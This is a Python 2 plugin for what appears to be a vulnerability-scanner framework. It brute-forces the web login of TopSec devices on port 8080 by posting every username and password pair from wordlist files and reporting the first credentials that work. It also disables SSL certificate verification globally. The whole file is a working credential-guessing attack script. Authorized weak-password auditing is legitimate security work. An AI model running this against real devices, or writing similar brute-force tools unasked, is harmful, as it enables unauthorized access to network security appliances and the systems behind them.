#-*-coding=utf-8-*-
from __future__ import with_statement

import base64
import httplib
import random
import ssl
import urllib
import urllib2

from lib.classloader import register
from lib.pocbase import  pocbase


ssl._create_default_https_context = ssl._create_unverified_context

def init():
    debug_handler = urllib2.HTTPHandler(debuglevel=0)
    proxy_handler = urllib2.ProxyHandler({});
    opener = urllib2.build_opener(debug_handler, proxy_handler)
    urllib2.install_opener(opener);

class testpoc(pocbase):
    def __init__(self):
        super(testpoc, self).__init__();

    def _match(self, infodict):
        init();
        port =  infodict["port"] if infodict.get("port")  else  80;
        version = infodict["service_version"] if infodict.get("service_version") else "";
        return int(port) == 8080 or version.lower().find("topsec") != -1;

    def method_post(self, header, url, data):
        request = urllib2.Request(url);
        for key in header.keys():
            request.add_header(key, header.get(key));
        resp = None;
        success = False;
        content = None;
        data = urllib.urlencode(data);
        try:
            resp = urllib2.urlopen(request, data=data);
            if resp.code >= 200 and resp.code < 300:
                success = True;
                content = resp.read();
            else:
                success = False;
        except urllib2.URLError, e:
            if hasattr(e, "code") or hasattr(e, "reson"):
                success = False;
        except httplib.BadStatusLine:
            success = False;
        except:
            success = False;
        finally:
            if resp:
                resp.close();
        return {"success":success, "content":content};

    def _verify(self, infodict):
        host = infodict["ip"];
        port = infodict["port"];
        url = "%s://%s:%s/cgi/maincgi.cgi?Url=Index"%("https"if infodict.get("service_type") and infodict["service_type"].find("ssl") != -1 else "http", host, str(port));
        result = infodict;
        result["success"] = False;
        with open("data/topsec-username.txt") as username:
            with open("data/topsec-password.txt") as password:
                passwords = password.readlines();
                usernames = username.readlines();
                isbreak = False;
                for u in usernames:
                    if isbreak:
                        break;
                    for p in passwords:
                        u = u.strip();
                        p = p.strip();
                        u = u.replace("\r", "")
                        u = u.replace("\n", "")
                        p = p.replace("\r", "")
                        p = p.replace("\n", "")
                        ret = self.method_post({}, url, data={"username":u, "passwd":p, "loginSubmitIpt":"%B5%C7%C2%BC"});                        
                        if ret.get("success") and ret["success"] and ret["content"].find('alert') == -1:
                            result["success"] = True
                            result["extra"] = "user:pass=%s:%s"%(u, p)
                            isbreak = True;
                            break;
        return result; 

register(__file__, testpoc)